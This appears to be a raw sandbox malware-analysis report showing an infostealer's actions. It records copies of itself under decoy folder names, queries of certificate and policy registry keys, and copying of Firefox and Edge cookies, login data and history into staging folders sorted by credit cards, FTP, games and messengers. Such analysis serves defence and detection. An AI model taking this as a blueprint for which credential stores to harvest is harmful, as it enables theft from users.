940000000600000002000000f02300000200000000000000000000000000000000003203010000001800000000000000000000000300000002000000000032030c00000000000000feffffff7ce52f01ee13467700000000ee13467700000000000000000c000000e98fee6a88e52f0194e52f012823207200003203000000000c00000030a5e36ea0e52f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646772208000030080000cc9532035ce49b0b8009f46e000032030000fb0030080000000000000000000006010000030000000000320322080000000000002000000094e49b0bee13467700000000ee1346770000000000000000220800000000000048000000b0e49b0b76fd6a760000320300000000220800008009f46e (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000002812590500003203000000001800000000000000000000000300000002000000000032030c000000000000005c37567330de2f01ee13467728125905ee13467700000000000000000c000000a05c060a48de2f012823207200003203000000000c0000009cd66f0554de2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000000000000000003203100000001800000000000000000000000300000002000000000032030c00000000000000acde2f0198de2f01ee13467700000000ee13467700000000000000000c000000ffffb96eb0de2f012823207200003203000000000c0000000832e36ebcde2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000003203010000001800000000000000000000000300000002000000000032030c00000000000000feffffff7cdf2f01ee13467700000000ee13467700000000000000000c000000e98fee6a88df2f0194df2f012823207200003203000000000c00000030a5e36ea0df2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000002812590500003203000000001800000000000000000000000300000002000000000032030c000000000000005c37567330de2f01ee13467728125905ee13467700000000000000000c000000786b060a48de2f012823207200003203000000000c0000008843700554de2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000000000000000003203200000001800000000000000000000000300000002000000000032030c00000000000000dcde2f01c8de2f01ee13467700000000ee13467700000000000000000c000000ffffb96ee0de2f012823207200003203000000000c0000000832e36eecde2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000002812590500003203000000001800000000000000000000000300000002000000000032030c000000000000005c37567330de2f01ee13467728125905ee13467700000000000000000c000000986e060a48de2f012823207200003203000000000c0000004059700554de2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000000000000000003203200000001800000000000000000000000300000002000000000032030c00000000000000d4de2f01c0de2f01ee13467700000000ee13467700000000000000000c000000ffffb96ed8de2f012823207200003203000000000c0000000832e36ee4de2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000001646770c000000000000002812590500003203000000001800000000000000000000000300000002000000000032030c000000000000005c37567330de2f01ee13467728125905ee13467700000000000000000c000000d86f060a48de2f012823207200003203000000000c000000406d700554de2f012f99e36e0c000000 (UID: 00000000-00005152) "2cD4503.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000003203000000001800000000000000000000000300000002000000000032030c00000000000000b803cc40bcde2f01ee13467700000000ee13467700000000000000000c000000ffffb96efc923e03d4de2f012823207200003203000000000c0000000832e36ee0de2f012f99e36e0c000000 (UID: 00000000-00005152) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c0000000000630000000000000001000000740014000000b0eaca02000000000100000001000000000000002c0000001089cb0200000000140000000a000000000000000000000000006f00d85cc90214000000000000000000000000000000000000000000000000006e0000000000670000006c006c00 (UID: 00000000-00006764) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000a038000000000000000a1140000ccd44809ee13467780000000ee134677000000000000000080000000f062bb6e00000000ecd4480950728e7600000a030000000080000000f062bb6e02000000002fbb6e08d54809fb62bb6e010000008004bc6e885f9076000000006eb0040538d54809b864bb6ef42ebb6e (UID: 00000000-00006764) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00007848) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000fb008000000000000000a11400007cd3bd09ee13467780000000ee134677000000000000000080000000f0622e6b000000009cd3bd0950728e760000fb000000000080000000f0622e6b02000000002f2e6bb8d3bd09fb622e6b0100000080042f6b885f907600000000160ad963e8d3bd09b8642e6bf42e2e6b (UID: 00000000-00007848)31:T75a,"3a9c8dc060b839403dcfc8a72d29defd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Lm3NB63.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Lm3NB63.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Rb3sH52.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Rb3sH52.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cN5Rh86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cN5Rh86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1uT83YZ4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1uT83YZ4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS")32:T9e5,"2cD4503.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")33:T1229,"2cD4503.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\2cD4503.exe" at 00000000-00005152-00000C15-37885919 "2cD4503.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll" at 00000000-00005152-00000C15-39633071 "2cD4503.exe" queries volume information of "C:\" at 00000000-00005152-00000C15-56457000 "2cD4503.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00005152-00000C15-77418690 "2cD4503.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll" at 00000000-00005152-00000C15-83248163 "2cD4503.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005152-00000C15-84532935 "2cD4503.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005152-00000C15-84538169 "2cD4503.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005152-00000C15-84538285 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00006764-00000C15-43527194 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00006764-00000C15-43745328 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00006764-00000C15-44833763 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00006764-00000C15-44986033 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00006764-00000C15-45001470 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006764-00000C15-45093409 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006764-00000C15-45112384 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006764-00000C15-45112503 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006764-00000C15-45342071 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00006764-00000C15-45959128 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006764-00000C15-46005163 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006764-00000C15-46017875 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006764-00000C15-46018002 "powershell.exe" queries volume information of "C:\" at 00000000-00006764-00000C15-46485089 "powershell.exe" queries volume information of "C:\share" at 00000000-00006764-00000C15-46503965 "powershell.exe" queries volume information of "C:\share" at 00000000-00006764-00000C15-46607314 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006764-00000C15-4927256734:T584,"1uT83YZ4.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE") "1uT83YZ4.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE"; Key: "USESHORTNAME") "1uT83YZ4.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE\SUPPORTEDPROTOCOLS") "1uT83YZ4.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE"; Key: "APPENDPATH") "1uT83YZ4.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE"; Key: "PATH") "2cD4503.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "2cD4503.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "APPENDPATH") "2cD4503.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH") "2cD4503.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\2CD4503.EXE") "2cD4503.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "2cD4503.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "2cD4503.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "2cD4503.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION")35:T882,"2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "2cD4503.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")36:T4ed,"2cD4503.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "2cD4503.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")37:Tb05,"2cD4503.exe" called "CopyFileW" to copy %TEMP%\IXP003.TMP\2cD4503.exe to new location %LOCALAPPDATA%\MaxLoonaFest131\MaxLoonaFest131.exe (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %TEMP%\IXP003.TMP\2cD4503.exe to new location %TEMP%\FANBooster131\FANBooster131.exe (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %TEMP%\IXP003.TMP\2cD4503.exe to new location %ALLUSERSPROFILE%\OfficeTrackerNMP131\OfficeTrackerNMP131.exe (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\formhistory.sqlite to new location %TEMP%\jobA4N197yiTuMlDC\6UbGHUAqTfU3formhistory.sqlite (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite to new location %TEMP%\jobA4N197yiTuMlDC\pAym89A8ml0Dplaces.sqlite (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data to new location %TEMP%\jobA4N197yiTuMlDC\BGeZ7ftGbMQQLogin Data (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite to new location %TEMP%\jobA4N197yiTuMlDC\r5IbTlcd3iTycookies.sqlite (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite to new location %TEMP%\jobA4N197yiTuMlDC\NMTB7kme1cG2places.sqlite (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\jobA4N197yiTuMlDC\lzKDlpqOQxjJWeb Data (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History to new location %TEMP%\jobA4N197yiTuMlDC\yFpfkujmGY9WHistory (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\jobA4N197yiTuMlDC\KL5RkAcVvoZ8Web Data (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\jobA4N197yiTuMlDC\d2YlZIu67X11Web Data (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies to new location %TEMP%\jobA4N197yiTuMlDC\p8DXZOnEXoRdCookies (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History to new location %TEMP%\jobA4N197yiTuMlDC\gBRFE7rWeOAvHistory (UID: 00000000-00005152) "2cD4503.exe" called "CopyFileW" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000004.log to new location %TEMP%\jobA4N197yiTuMlDC\OoIHRbvw39dc000004.log (UID: 00000000-00005152)38:Tb2b,"3a9c8dc060b839403dcfc8a72d29defd.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007404) "Lm3NB63.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00005872) "Rb3sH52.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00004768) "cN5Rh86.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007136) "2cD4503.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\MaxLoonaFest131 (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\FANBooster131 (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\OfficeTrackerNMP131 (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA4N197yiTuMlDC (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Cookies (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Autofill (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Downloads (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\CC (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\FTP (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\FTP\FileZilla (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\FTP\TotalCommander (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Growtopia (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Minecraft (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\TLauncher (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\FeatherClient (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\LunarClient (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Battle.net (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Games\Steam (UID: 00000000-00005152) "2cD4503.exe" called "CreateDirectoryW" with parameter %TEMP%\jobA3N197yiTuMlDC\Messengers (UID: 00000000-00005152)39:T5e2,"2cD4503.exe" called "NtCreateNamedPipeFile" with parameter "pipe" - (UID: 00000000-00005152) "powershell.exe" called "NtCreateNamedPipeFile" with parameter 